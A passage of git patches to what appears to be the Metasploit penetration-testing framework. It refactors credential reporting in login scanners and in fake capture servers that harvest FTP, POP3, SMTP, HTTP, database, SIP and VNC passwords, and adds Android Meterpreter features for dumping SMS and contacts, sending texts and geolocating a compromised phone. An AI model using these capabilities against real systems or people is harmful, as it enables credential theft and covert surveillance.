user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'nexpose', + user: user, + password: pass, + proof: res.code.to_s + ) return :next_user end end diff --git a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb index 58f8312e95..032e2d2643 100644 --- a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb @@ -101,22 +101,46 @@ class Metasploit3 < Msf::Auxiliary if res.code == 303 print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'openvas-gsa', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'openvas-gsa', + user: user, + password: pass, + proof: res.code.to_s + ) return :next_user end vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'") return :skip_pass end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def msg "#{vhost}:#{rport} OpenVAS gsad -" end diff --git a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb index 87f020318c..71804b7ea8 100644 --- a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb @@ -60,6 +60,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user=nil,pass=nil) begin vprint_status("#{msg} Trying user:'#{user}' with password:'#{pass}'") @@ -67,14 +94,13 @@ class Metasploit3 < Msf::Auxiliary omp_send(cmd,true) # send hello if @result =~ /<authenticate_response.*status="200"/is print_good("#{msg} SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'openvas-omp', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'openvas-omp', + user: user, + password: pass, + proof: @result ) disconnect @connected = false diff --git a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb index 1216e5a318..6d812d7295 100644 --- a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb @@ -61,6 +61,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user=nil,pass=nil) begin otp_send("< OTP/1.0 >\n",true) # send hello @@ -81,14 +108,13 @@ class Metasploit3 < Msf::Auxiliary otp_send("#{pass}\n",!@connected) if @result =~ /SERVER <|>.*<|> SERVER/is print_good("#{msg} SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'openvas-otp', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'openvas-otp', + user: user, + password: pass, + proof: @result ) disconnect @connected = false diff --git a/modules/auxiliary/scanner/scada/koyo_login.rb b/modules/auxiliary/scanner/scada/koyo_login.rb index 17e58cca86..f444d9c914 100644 --- a/modules/auxiliary/scanner/scada/koyo_login.rb +++ b/modules/auxiliary/scanner/scada/koyo_login.rb @@ -114,19 +114,45 @@ class Metasploit3 < Msf::Auxiliary next if not res print_good "#{rhost}:#{rport} - KOYO - Found passcode: #{passcode}" - report_auth_info( - :host => rhost, - :port => rport.to_i, - :proto => 'udp', - :user => '', - :pass => passcode, # NOTE: Human readable - :active => true + report_cred( + ip: rhost, + port: rport.to_i, + service_name: 'koyo', + user: '', + password: passcode, + proof: res ) break end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'udp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def crc16(buf, crc=0) buf.each_byte{|x| crc = ((crc << 8) ^ @@CCITT_16[( crc >> 8) ^ x]) & 0xffff } [crc].pack("v") diff --git a/modules/auxiliary/server/capture/drda.rb b/modules/auxiliary/server/capture/drda.rb index 13443f123c..871b44c1bf 100644 --- a/modules/auxiliary/server/capture/drda.rb +++ b/modules/auxiliary/server/capture/drda.rb @@ -216,14 +216,13 @@ class Metasploit3 < Msf::Auxiliary if @state[c][:user] and @state[c][:pass] print_status("DRDA LOGIN #{@state[c][:name]} Database: #{@state[c][:database]}; #{@state[c][:user]} / #{@state[c][:pass]}") - report_auth_info( - :host => @state[c][:ip], - :port => datastore['SRVPORT'], - :sname => 'db2_client', - :user => @state[c][:user], - :pass => @state[c][:pass], - :source_type => "captured", - :active => true + report_cred( + ip: @state[c][:ip], + port: datastore['SRVPORT'], + service_name: 'db2_client', + user: @state[c][:user], + password: @state[c][:pass], + proof: @state.inspect ) params = [] @@ -238,6 +237,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_close(c) @state.delete(c) end diff --git a/modules/auxiliary/server/capture/ftp.rb b/modules/auxiliary/server/capture/ftp.rb index 27c36ef9f6..4ff3781d45 100644 --- a/modules/auxiliary/server/capture/ftp.rb +++ b/modules/auxiliary/server/capture/ftp.rb @@ -51,6 +51,32 @@ class Metasploit3 < Msf::Auxiliary c.put "220 FTP Server Ready\r\n" end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_data(c) data = c.get_once return if not data @@ -71,14 +97,13 @@ class Metasploit3 < Msf::Auxiliary if(cmd.upcase == "PASS") @state[c][:pass] = arg - report_auth_info( - :host => @state[c][:ip], - :port => datastore['SRVPORT'], - :sname => 'ftp', - :user => @state[c][:user], - :pass => @state[c][:pass], - :source_type => "captured", - :active => true + report_cred( + ip: @state[c][:ip], + port: datastore['SRVPORT'], + service_name: 'ftp', + user: @state[c][:user], + password: @state[c][:pass], + proof: arg ) print_status("FTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index 42b16bc692..5aaf38f579 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -58,19 +58,44 @@ class Metasploit3 < Msf::Auxiliary exploit end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_request_uri(cli, req) if(req['Authorization'] and req['Authorization'] =~ /basic/i) basic,auth = req['Authorization'].split(/\s+/) user,pass = Rex::Text.decode_base64(auth).split(':', 2) - report_auth_info( - :host => cli.peerhost, - :port => datastore['SRVPORT'], - :sname => 'HTTP', - :user => user, - :pass => pass, - :source_type => "captured", - :active => true + report_cred( + ip: cli.peerhost, + port: datastore['SRVPORT'], + service_name: 'HTTP', + user: user, + password: pass, + proof: req['Authorization'] ) print_good("#{cli.peerhost} - Credential collected: \"#{user}:#{pass}\" => #{req.resource}") diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb index 2a6b348efc..ec81648a73 100644 --- a/modules/auxiliary/server/capture/pop3.rb +++ b/modules/auxiliary/server/capture/pop3.rb @@ -56,6 +56,32 @@ class Metasploit3 < Msf::Auxiliary c.put "+OK\r\n" end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_data(c) data = c.get_once return if not data @@ -71,14 +97,13 @@ class Metasploit3 < Msf::Auxiliary if(cmd.upcase == "PASS") @state[c][:pass] = arg - report_auth_info( - :host => @state[c][:ip], - :port => @myport, - :sname => 'pop3', - :user => @state[c][:user], - :pass => @state[c][:pass], - :source_type => "captured", - :active => true + report_cred( + ip: @state[c][:ip], + port: @myport, + service_name: 'pop3', + user: @state[c][:user], + password: @state[c][:pass], + proof: arg ) print_status("POP3 LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") @state[c][:pass] = data.strip diff --git a/modules/auxiliary/server/capture/postgresql.rb b/modules/auxiliary/server/capture/postgresql.rb index 2ba5857eff..83cd3e4dc0 100644 --- a/modules/auxiliary/server/capture/postgresql.rb +++ b/modules/auxiliary/server/capture/postgresql.rb @@ -42,6 +42,32 @@ class Metasploit3 < Msf::Auxiliary exploit() end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_connect(c) @state[c] = { :name => "#{c.peerhost}:#{c.peerport}", @@ -74,16 +100,13 @@ class Metasploit3 < Msf::Auxiliary # Password message data.slice!(0, 5).unpack("N")[0] # skip over length @state[c][:password] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0] - report_auth_info( - :host => c.peerhost, - :port => datastore['SRVPORT'], - :sname => 'psql_client', - :user => @state[c][:username], - :pass => @state[c][:password], - :type => "PostgreSQL credentials", - :proof => @state[c][:database], - :source_type => "captured", - :active => true + report_cred( + ip: c.peerhost, + port: datastore['SRVPORT'], + service_name: 'psql_client', + user: @state[c][:username], + password: @state[c][:password], + proof: @state[c][:database] ) print_status("PostgreSQL LOGIN #{@state[c][:name]} #{@state[c][:username]} / #{@state[c][:password]} / #{@state[c][:database]}") # send failure message diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb index 185ae0466d..9750a43e1b 100644 --- a/modules/auxiliary/server/capture/sip.rb +++ b/modules/auxiliary/server/capture/sip.rb @@ -104,6 +104,32 @@ class Metasploit3 < Msf::Auxiliary return addr end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run begin @port = datastore['SRVPORT'].to_i @@ -141,16 +167,13 @@ class Metasploit3 < Msf::Auxiliary proof = "client: #{client_ip}; username: #{username}; nonce: #{datastore['NONCE']}; response: #{response}; algorithm: #{algorithm}" print_status("SIP LOGIN: #{proof}") - report_auth_info( - :host => @requestor[:ip], - :port => @requestor[:port], - :sname => 'sip_client', - :user => username, - :pass => response + ":" + auth_tokens['nonce'] + ":" + algorithm, - :type => "sip_hash", - :proof => proof, - :source_type => "captured", - :active => true + report_cred( + ip: @requestor[:ip], + port: @requestor[:port], + service_name: 'sip_client', + user: username, + password: response + ":" + auth_tokens['nonce'] + ":" + algorithm, + proof: proof ) if datastore['JOHNPWFILE'] diff --git a/modules/auxiliary/server/capture/smtp.rb b/modules/auxiliary/server/capture/smtp.rb index 7140aac85e..12769c29cb 100644 --- a/modules/auxiliary/server/capture/smtp.rb +++ b/modules/auxiliary/server/capture/smtp.rb @@ -118,14 +118,13 @@ class Metasploit3 < Msf::Auxiliary @state[c][:pass] = arg - report_auth_info( - :host => @state[c][:ip], - :port => datastore['SRVPORT'], - :sname => 'pop3', - :user => @state[c][:user], - :pass => @state[c][:pass], - :source_type => "captured", - :active => true + report_cred( + ip: @state[c][:ip], + port: datastore['SRVPORT'], + service_name: 'pop3', + user: @state[c][:user], + password: @state[c][:pass], + proof: arg ) print_status("SMTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") end @@ -135,6 +134,32 @@ class Metasploit3 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_close(c) @state.delete(c) end diff --git a/modules/auxiliary/server/capture/vnc.rb b/modules/auxiliary/server/capture/vnc.rb index 9987f56a54..adf634969d 100644 --- a/modules/auxiliary/server/capture/vnc.rb +++ b/modules/auxiliary/server/capture/vnc.rb @@ -61,6 +61,32 @@ class Metasploit3 < Msf::Auxiliary c.put "RFB 003.007\n" end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_data(c) data = c.get_once return if not data @@ -91,16 +117,13 @@ class Metasploit3 < Msf::Auxiliary c.close print_status("#{peer} - Challenge: #{@challenge.unpack('H*')[0]}; Response: #{data.unpack('H*')[0]}") hash_line = "$vnc$*#{@state[c][:chall].unpack("H*")[0]}*#{data.unpack('H*')[0]}" - report_auth_info( - :host => c.peerhost, - :port => datastore['SRVPORT'], - :sname => 'vnc_client', - :user => "", - :pass => hash_line, - :type => "vnc_hash", - :proof => hash_line, - :source_type => "captured", - :active => true + report_cred( + ip: c.peerhost, + port: datastore['SRVPORT'], + service_name: 'vnc_client', + user: '', + password: hash_line, + proof: hash_line ) if(datastore['JOHNPWFILE']) diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb index 2206aa9b70..1149cf7a4f 100644 --- a/test/modules/auxiliary/test/report_auth_info.rb +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Auxiliary FAKE_IP = '192.168.12.123' FAKE_PORT = 80 - FAKE_USER = 'username' + FAKE_USER = 'user' FAKE_PASS = 'password' def initialize(info = {}) @@ -123,6 +123,269 @@ class Metasploit3 < Msf::Auxiliary mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) end + def test_hp_imc_som_create_account + mod = framework.auxiliary.create('admin/hp/hp_imc_som_create_account') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'https', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_dlink_dir_645_password_extractor + mod = framework.auxiliary.create('admin/http/dlink_dir_645_password_extractor') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'http', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_dlink_dsl320b_password_extractor + mod = framework.auxiliary.create('admin/http/dlink_dsl320b_password_extractor') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'http', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_nexpose_xxe_file_read + mod = framework.auxiliary.create('admin/http/nexpose_xxe_file_read') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'http', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_vbulletin_upgrade_admin + mod = framework.auxiliary.create('admin/http/vbulletin_upgrade_admin') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'http', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_wp_custom_contact_forms + mod = framework.auxiliary.create('admin/http/wp_custom_contact_forms') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + user: FAKE_USER, + password: FAKE_PASS, + service_name: 'WordPress', + proof: '' + ) + end + + def test_zyxel_admin_password_extractor + mod = framework.auxiliary.create('admin/http/zyxel_admin_password_extractor') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'ZyXEL GS1510-16', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_sercomm_dump_config + mod = framework.auxiliary.create('admin/misc/sercomm_dump_config') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + user: FAKE_USER, + password: FAKE_PASS, + service_name: 'sercomm', + proof: '' + ) + end + + def test_vnc + mod = framework.auxiliary.create('server/capture/vnc') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'vnc_client', + user: '', + password: FAKE_PASS, + proof: '' + ) + end + + def test_smtp + mod = framework.auxiliary.create('server/capture/smtp') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'pop3', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_sip + mod = framework.auxiliary.create('server/capture/sip') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'sip_client', + user:FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_oracle_login + mod = framework.auxiliary.create('admin/oracle/oracle_login') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'oracle', + user: FAKE_USER, + password: FAKE_PASS + ) + end + + def test_postgresql + mod = framework.auxiliary.create('server/capture/postgresql') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'psql_client', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_pop3 + mod = framework.auxiliary.create('server/capture/pop3') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'pop3', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_http_basic + mod = framework.auxiliary.create('server/capture/http_basic') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'HTTP', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_ftp + mod = framework.auxiliary.create('server/capture/ftp') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'ftp', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_drda + mod = framework.auxiliary.create('server/capture/drda') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'db2_client', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_koyo_login + mod = framework.auxiliary.create('scanner/scada/koyo_login') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'koyo', + user: '', + password: FAKE_PASS, + proof: '' + ) + end + + def test_openvas_otp_login + mod = framework.auxiliary.create('scanner/openvas/openvas_otp_login') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'openvas-otp', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_openvas_omp_login + mod = framework.auxiliary.create('scanner/openvas/openvas_omp_login') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'openvas-omp', + user: FAKE_USER, + password: FAKE_PASS, + proof: @result + ) + end + + def test_openvas_gsad_login + mod = framework.auxiliary.create('scanner/openvas/openvas_gsad_login') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'openvas-gsa', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_nexpose_api_login + mod = framework.auxiliary.create('scanner/nexpose/nexpose_api_login') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'nexpose', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + def run self.methods.each do |m| next if m.to_s !~ /^test_.+/ From 31dcae6828cffafbe03b222b0b0ab6704fe71125 Mon Sep 17 00:00:00 2001 From: Jack64 <somethingsyouneverforget@gmail.com> Date: Thu, 23 Jul 2015 16:58:55 +0100 Subject: [PATCH 0189/2172] bug fixes --- lib/rex/google_geolocation.rb | 7 +- .../meterpreter/extensions/android/android.rb | 22 ++++-- .../meterpreter/extensions/android/tlv.rb | 12 ++-- .../ui/console/command_dispatcher/android.rb | 69 +++++++++++-------- 4 files changed, 66 insertions(+), 44 deletions(-) diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb index a7551cb944..03284060d1 100755 --- a/lib/rex/google_geolocation.rb +++ b/lib/rex/google_geolocation.rb @@ -18,15 +18,14 @@ module Rex attr_accessor :longitude def initialize - @uri = URI.parse(GOOGLE_API_URI) + @uri = URI.parse(URI.encode(GOOGLE_API_URI)) @wlan_list = [] end # Ask Google's Maps API for the location of a given set of BSSIDs (MAC # addresses of access points), ESSIDs (AP names), and signal strengths. def fetch! - @uri.query << @wlan_list.join("&") - + @uri.query << @wlan_list.join("&wifi=") request = Net::HTTP::Get.new(@uri.request_uri) http = Net::HTTP::new(@uri.host,@uri.port) http.use_ssl = true @@ -52,7 +51,7 @@ module Rex # @param ssid [String] ESSID associated with the mac # @param signal_strength [String] a thing like def add_wlan(mac, ssid = nil, signal_strength = nil) - @wlan_list.push("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}") + @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) end def google_maps_url diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 97a9614388..12e43e0276 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -44,7 +44,7 @@ class Android < Extension def dump_sms sms = Array.new request = Packet.create_request('dump_sms') - response = client.send_request(request) + response = client.send_request(request,60) response.each( TLV_TYPE_SMS_GROUP ) { |p| @@ -64,7 +64,7 @@ class Android < Extension def dump_contacts contacts = Array.new request = Packet.create_request('dump_contacts') - response = client.send_request(request) + response = client.send_request(request,60) response.each( TLV_TYPE_CONTACT_GROUP ) { |p| @@ -120,18 +120,26 @@ class Android < Extension response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end - def send_sms(dest,body) + def send_sms(dest,body,dr) request = Packet.create_request('send_sms') request.add_tlv(TLV_TYPE_SMS_ADDRESS,dest) request.add_tlv(TLV_TYPE_SMS_BODY,body) - response = client.send_request(request) - resp=response.get_tlv(TLV_TYPE_SMS_SENT).value - return resp + request.add_tlv(TLV_TYPE_SMS_DR,dr) + if dr == false + response=client.send_request(request) + sr=response.get_tlv(TLV_TYPE_SMS_SR).value + return sr + else + response=client.send_request(request,30) + sr=response.get_tlv(TLV_TYPE_SMS_SR).value + dr=response.get_tlv(TLV_TYPE_SMS_SR).value + return [sr,dr] + end end def wlan_geolocate request = Packet.create_request('wlan_geolocate') - response = client.send_request(request,45) + response = client.send_request(request,60) networks=[] response.each( TLV_TYPE_WLAN_GROUP ) { |p| diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 37232b9bbf..b95b2119ac 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -33,12 +33,14 @@ TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) -TLV_TYPE_SMS_SENT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9021) +TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021) -TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) -TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) -TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) -TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) +TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) +TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) +TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) +TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) + +TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026) end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 647199040e..8a40c0ef04 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'rex/post/meterpreter' require 'msf/core/auxiliary/report' +require 'rex/google_geolocation' module Rex module Post @@ -377,10 +378,12 @@ class Console::CommandDispatcher::Android send_sms_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-d' => [ true, 'Destination number' ], - '-t' => [ true, 'SMS body text' ] + '-t' => [ true, 'SMS body text' ], + '-dr' => [ false, 'Wait for delivery report' ] ) dest='' body='' + dr=false send_sms_opts.parse(args) { | opt, idx, val | case opt when '-h' @@ -392,6 +395,8 @@ class Console::CommandDispatcher::Android dest=val when '-t' body=val + when '-dr' + dr=true end } if (dest.blank? or body.blank?) @@ -400,11 +405,25 @@ class Console::CommandDispatcher::Android print_line(send_sms_opts.usage) return end - sent=client.android.send_sms(dest,body) - if (sent) - print_good('SMS sent') + + sent=client.android.send_sms(dest,body,dr) + if (dr) + if (sent[0]=="Transmission successful") + print_good("SMS sent - #{sent[0]}") + else + print_error("SMS send failed - #{sent[0]}") + end + if (sent[1]=="Transmission successful") + print_good("SMS delivered - #{sent[1]}") + else + print_error("SMS delivery failed - #{sent[1]}") + end else - print_status('SMS failed to send') + if (sent=="Transmission successful") + print_good("SMS sent - #{sent}") + else + print_error("SMS send failed - #{sent}") + end end end @@ -422,42 +441,36 @@ class Console::CommandDispatcher::Android print_line(wlan_geolocate_opts.usage) return end - - print_status('Waiting for WiFi scan results...') + } + log = client.android.wlan_geolocate - wlan_list='' + wlan_list=[] + wlan_str="" log.each{|x| mac=x['bssid'] ssid=x['ssid'] ss=x['level'] - network_data = 